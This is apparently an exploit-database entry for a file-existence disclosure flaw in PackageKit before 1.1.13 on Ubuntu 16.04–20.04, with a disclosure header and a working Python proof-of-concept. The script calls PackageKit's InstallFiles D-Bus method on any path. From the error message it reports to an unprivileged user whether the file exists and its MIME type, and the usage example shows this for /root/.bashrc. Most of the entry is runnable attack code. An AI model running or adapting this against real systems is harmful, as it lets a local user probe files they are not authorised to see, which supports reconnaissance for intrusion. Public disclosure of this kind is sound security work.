packagekit < 1.1.13 file existence disclosure

				
# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://www.freedesktop.org/software/PackageKit/
# Software Link: https://www.freedesktop.org/software/PackageKit/
# Version: <= 1.1.1+bzr982-0ubuntu32.1
# Tested on: Ubuntu 20.04
#
#!/usr/bin/env python3
#
# Ubuntu 16.04 - 20.04 
# PackageKit <= 1.1.13-2ubuntu1
# Sensitive Information Disclosure
# 
#
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# The InstallFiles, GetFilesLocal and GetDetailsLocal methods 
# of the d-bus interface to PackageKit accesses given files 
# before checking for authorization. This allows non-privileged 
# users to learn the MIME type of any file on the system.
# 
# Example in attached Python script:
# 
# $ python3 test_file_exists_pk.py /root/.bashrc
# File exists and is of MIME type: 'text/plain'
# 
# $ python3 test_file_exists_pk.py /root/.bashrca
# File does not exist
#
#
import dbus
import os
import sys
import re

if len(sys.argv) != 2:
	print("Checks if file exists and returns MIME type")
	print("Usage: %s <file>")
	sys.exit(0)

FILE_TO_CHECK = sys.argv[1]

bus = dbus.SystemBus()
apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

try:
	apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK])
	# ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK])
	# ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK])
except dbus.exceptions.DBusException as e:
	if "No such file" in str(e):
		print("File does not exist")
	elif "MimeTypeNotSupported" in str(e):
		result = re.search('MIME type (.*) not supported', str(e))
		print("File exists and is of MIME type: " + result.group(1))
            
				

Packagekit < 1.1.13 file existence disclosure Vulnerability / Exploit Source : Packagekit < 1.1.13 file existence disclosure